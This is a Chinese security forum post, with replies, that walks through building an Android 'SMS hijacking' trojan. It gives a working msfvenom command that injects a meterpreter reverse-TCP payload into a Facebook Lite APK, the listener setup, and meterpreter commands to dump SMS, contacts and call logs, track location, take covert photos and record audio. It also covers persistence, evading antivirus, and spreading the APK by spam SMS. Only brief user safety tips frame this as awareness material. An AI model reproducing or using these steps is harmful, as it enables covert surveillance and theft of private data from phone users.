首页
社区
课程
招聘
[原创]从“短信劫持马”的制作来谈APP安全
2019-11-13 12:14 9816

[原创]从“短信劫持马”的制作来谈APP安全

2019-11-13 12:14
9816

2018年写的一篇文章了,整理文档的时候发现了这篇,当初的很多情况有了新的方式,但是个人觉得有些地方还是有可察之处,现发在看雪论坛,请各位大佬轻喷,

从 “ 短信劫持马 ” 来谈APP安全

enter image description here

 

这种短信劫持木马的概念和新闻我想大家都应该接触过了,就不怎么说概念了,具体的可以搜一搜新闻,一抓一大把。

复现短信劫持木马的制作

下面我用几种套件来完成短信劫持木马的还原,之前我在本地已经做过试验,所以下面的内容都均摘选自我的笔记。其实用 MSF 也可以做到,但是活的不长久,而且不过杀毒,体积偏小,很明显。
所以我们用一种 “ 寄生 ” 的方式来制作,后面会讲。

生成apk

目前有两种方法可以自动化的往 app 添加 payload,无论哪种生成,其实实现的目的都是一样的,只是 1 方法的作者把第二种方法集成到一键方式,但是本人自己使用过第一种的方式进行,因为各插件版本的原因没有成功,给原作者提供样本之后,原作者叫我自己解决。

 

遂推荐使用第二种方法:

  1. backdoor-apk。
  1. mterpreter 中自带的 msfvenom。

直接在 kali 的 shell 下执行:

msfvenom --platform android -x facebook_lite.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.114 LPORT=3389 -o facebook_lite_after.apk

执行完上面的命令,meterpreter 一般会对 apk 进行:

 

1.解包。
2.插入权限。
3.插入 payload 代码。
4.重新打包生成 apk。
5.重新签名并保存的操作。

 

结果成功:会生成一个 facebook_ lite_after.apk 的应用
结果失败:失败一般会发生在 2,3,4 处,因为有一些 apk 加固或者混淆了,解包之后的代码已经变了样,插入会出现错误,打包也会出现错误。最终导致 apk 不完整,无法生成 apk。

 

命令解读:

  • platform 指定平台,此处为 android。
  • x 指定使用的样板,可以理解为你要寄生在哪个 app 下面,
  • 此处是寄生在 facebook_lite.apk。
  • p 指定使用的 payload,此处是 android/meterpreter/
    reverse_tcp,后面的 LHOST 指定 payload 生效后要反弹的主机 ip,一般为 kali 或者安装了 meterpreter 的 linux 主机,此处 kali 的 ip 为192.168.1.114,LPORT 为端口号。
  • o 指定生成的文件。

enter image description here

 

注意:
msfpayload 和 msfencode 已经在新版本移除,以后只要使用 msfvenom 就行了,msfvenom 的大概使用说明如下:

MsfVenom - a Metasploit standalone payload generator.
    Also a replacement for msfpayload and msfencode.
    Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>
    Options:
        -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
            --payload-options            List the payload's standard options
        -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
        -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
        -f, --format        <format>     Output format (use --help-formats for a list)
            --help-formats               List available formats
        -e, --encoder       <encoder>    The encoder to use
        -a, --arch          <arch>       The architecture to use
            --platform      <platform>   The platform of the payload
        -s, --space         <length>     The maximum size of the resulting payload
            --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
        -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
        -i, --iterations    <count>      The number of times to encode the payload
        -c, --add-code      <path>       Specify an additional win32 shellcode file to include
        -x, --template      <path>       Specify a custom executable file to use as a template
        -k, --keep                       Preserve the template behavior and inject the payload as a new thread
        -o, --out           <path>       Save the payload
        -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
            --smallest                   Generate the smallest possible payload
        -h, --help                       Show this message

# 监听

1.kali 的 shell 下执行 :msfconsole。
2.进入 meterpreter 后选择 exploit,执行 :use exploit/multi/handler 。
3.选择 payload,执行 :set payload android/meterpreter
/reverse_tcp。
4.设置 payload 的 option,此处先设置 LHOST,执行 : set LHOST 192.168.1.114。
5.设置 LPORT,执行 :set LPORT 3389。
6.开启 exploit 任务,-j 是 job,执行 :exploit -j。

 

如下:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.114
LHOST => 192.168.1.114
msf exploit(handler) > set LPORT 3389
LPORT => 3389
msf exploit(handler) > exploit -j 

[*] Started reverse handler on 192.168.1.114:3389
[*] Starting the payload handler...

enter image description here

 

运行后,当用户安装了前面第一步生成 apk,打开软件后,就会在 meterpreter 看到用户上线,这里大概说一下大概操作

 

大概会看到这样的字眼:

[*] Meterpreter session 1 opened (192.168.1.114:3389 -> 119.137.2.209:12398) at 2018-05-06 19:26:13 +0800

解读一下大概的意思是有 1 个会话产生了,session 的 id 是 1。

 

注意:
192.168.1.114:3389 -> 119.137.2.209:12398,这里后面的 119.137.2.209 这个是安装了 apk 的安卓手机的 ip。

 

需要连接相应的 session,则只需敲 sessions -i 1 就可以连接 id 为 1 的 session。
连接上之后,就可以进行相应的功能操作。

下面整理常用的命令:

  • dump_calllog 通话记录。
  • dump_contacts 通讯录。
  • dump_sms 短信。
  • wlan_geolocate wifi 获取 gps 位置。
  • geolocate 经纬度。
  • sysinfo 系统信息。
  • ipconfig / ifconfig。
  • webcam_snap -i 1 或 2。

不知不觉拍照:

1:后置摄像头。
2:前置摄像头 。

 

record_mic 录制麦克风,shell 安卓的 adb shell 操作。

 

更多命令操作,敲 help 默认查看:

 

enter image description here

 

短信获取:
enter image description here

 

通讯录获取:
enter image description here

 

通话记录获取:
enter image description here

持久化

msf 和其他的应用绑定后,目前可知能进行持久的方法,参考方法如下:

https://www.yeahhub.com/persistent-backdoor-android-using-kali-linux-shell-script/

 

主要是上传一个在 sdcard / Download 中写入一个 sh 脚本,然后每隔多久就去启动相应包名的 app,但是需要 app 透明化或者需要自定义服务,让 payload 在应用后台服务中进行。

 

思考:
用 MSF 去做木马,原来的文件和本身寄生后的文件,只有几 kb 的差距,而且原 APP 功能一切正常,以上功能都只需要安装打开就能做到。

 

手机是不会报毒的,我测试腾讯杀毒,测试了魅族,测试了小米,测试了 vivo,均可通过安装查询的那个检查引擎。

 

enter image description here

 

enter image description here

 

哈勃的文件分析系统:

 

https://habo.qq.com/file/showdetail?pk=ADIGYV1lB2EIPls9

 

这个链接是哈勃的文件分析系统,被鉴定为无危害,只是申请了权限。

 

enter image description here

 

enter image description here

黑产场景还原

当初测试的场景就是上面这样去寄生一共本身不带壳的程序,然后通过垃圾短信群发这种

 

enter image description here

 

另外需要注意APP的来源比如:

 

1.能在不连接公用网络的情况下就不要连接公用 WIFI。
2.不要随意下载从网站上的 APP,有些 APP 带了点什么你是完全不知道的,尽管提供 APP 下载的站点是某某中心,尽量从官方和应用商店下载。
3.有必要请加装手机杀毒软件。

 

以上观点个人认为还是比较贴近生活的。。。


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2019-11-13 12:19 被毅种循环编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (18)
雪    币: 53
活跃值: (578)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
accessdenied 2019-11-13 15:20
2
0
毛狗,举报了
雪    币: 2581
活跃值: (1567)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
毅种循环 2 2019-11-13 15:48
3
0
我怎么看到我被撤销了加精。。
雪    币: 183
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lanmanck 2019-11-13 19:30
4
0
accessdenied 毛狗,举报了
为什么举报啊?
雪    币: 3496
活跃值: (749)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kxzpy 2019-11-13 20:00
5
0
精品啊,为啥要举报啊?
雪    币: 6569
活跃值: (3823)
能力值: (RANK:200 )
在线值:
发帖
回帖
粉丝
LowRebSwrd 4 2019-11-14 09:58
6
0
写的不错!
雪    币: 2581
活跃值: (1567)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
毅种循环 2 2019-11-14 19:18
7
0
LowRebSwrd 写的不错!
把我的优秀还给我
雪    币: 175
活跃值: (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ydscience 2019-11-15 09:13
8
0
不给权限,毛用都没有
雪    币: 189
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
小怜哥哥 2019-11-15 15:18
10
0
涨姿势了。
雪    币: 53
活跃值: (578)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
accessdenied 2019-11-20 18:37
11
0
lanmanck 为什么举报啊?
发帖的是我朋友,开玩笑的。
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
RootBeer 2019-11-20 20:53
12
0
楼主用的是哪个版本的Android呀?我也去复现一下。
雪    币: 235
活跃值: (495)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
PoisonGZ 2019-11-22 21:45
13
0
emmm,安卓10貌似没用呀,基本上活不下来
雪    币: 2581
活跃值: (1567)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
毅种循环 2 2019-11-23 10:51
14
0
PoisonGZ emmm,安卓10貌似没用呀,基本上活不下来
不清楚,没试过在10平台 我当时是8.9
雪    币: 2581
活跃值: (1567)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
毅种循环 2 2019-11-23 10:51
15
0
RootBeer 楼主用的是哪个版本的Android呀?我也去复现一下。
8.9都行
雪    币: 245
活跃值: (435)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
alds 2019-11-28 18:28
16
0
后台保活是个大问题,所以目前采用极光推送或小米推送来实现控制命令以及保活
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ArcherJohn 2019-12-2 21:52
17
0
kail 真牛逼
雪    币: 235
活跃值: (495)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
PoisonGZ 2023-5-29 17:22
18
0
alds 后台保活是个大问题,所以目前采用极光推送或小米推送来实现控制命令以及保活[em_13]
开门!物业的!来查水表
雪    币: 52
活跃值: (495)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
万里星河 2023-5-29 17:34
19
0
很刑很可铐
游客
登录 | 注册 方可回帖
返回